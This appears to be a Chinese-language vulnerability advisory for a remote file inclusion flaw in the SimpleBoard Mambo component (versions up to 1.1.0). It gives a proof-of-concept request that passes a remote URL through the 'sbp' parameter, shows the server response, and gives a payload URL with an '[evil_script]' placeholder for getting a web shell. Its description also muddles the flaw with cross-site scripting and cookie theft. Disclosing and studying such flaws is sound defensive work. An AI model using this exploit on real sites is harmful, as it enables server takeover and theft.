### 存在漏洞版本
```
SimpleBoard Mambo Component <= 1.1.0
```
### 漏洞描述
```
SimpleBoard Mambo Component <= 1.1.0 中的 components/com_simpleboard/image_upload.php 中存在远程文件包含漏洞,该漏洞源于对用户提供的输入未经正确过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码,盗取基于cookie的认证证书进而发起其他攻击。SimpleBoard Mambo Component <= 1.1.0 之前版本中存在该漏洞,远程攻击者可以远程利用漏洞以WEB权限得到shell。
```
### 攻击所需条件
```
攻击者必须访问 SimpleBoard Mambo Component <= 1.1.0 。
```
### 漏洞信息
```
当Register Globals为on时,可以通过远程文件包含获得shell
```
### 测试方法
```
GET http://localhost/components/com_simpleboard/image_upload.php?sbp=http://www.baidu.com/robots.txt
Host: 192.168.1.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
得到 response
HTTP/1.1 200 OK
Date: Tue, 08 Jul 2008 13:25:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.2
Set-Cookie: PHPSESSID=98b589cad80822c098942d33a1558b9f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
User-agent: Baiduspider
Disallow: /baidu
Disallow: /s?
Disallow: /ulink?
Disallow: /link?
User-agent: Googlebot
Disallow: /baidu
Disallow: /s?
Disallow: /shifen/
Disallow: /homepage/
Disallow: /cpro
Disallow: /ulink?
Disallow: /link?
User-agent: MSNBot
Disallow: /baidu
Disallow: /s?
Disallow: /shifen/
Disallow: /homepage/
Disallow: /cpro
Disallow: /ulink?
Disallow: /link?
【...】
或者访问:http://website.com/components/com_simpleboard/image_upload.php?sbp=[evil_script]
```
### 漏洞修复
```
目前还没有很完整的解决方式
```
### 漏洞提供者
```
h4ntu
```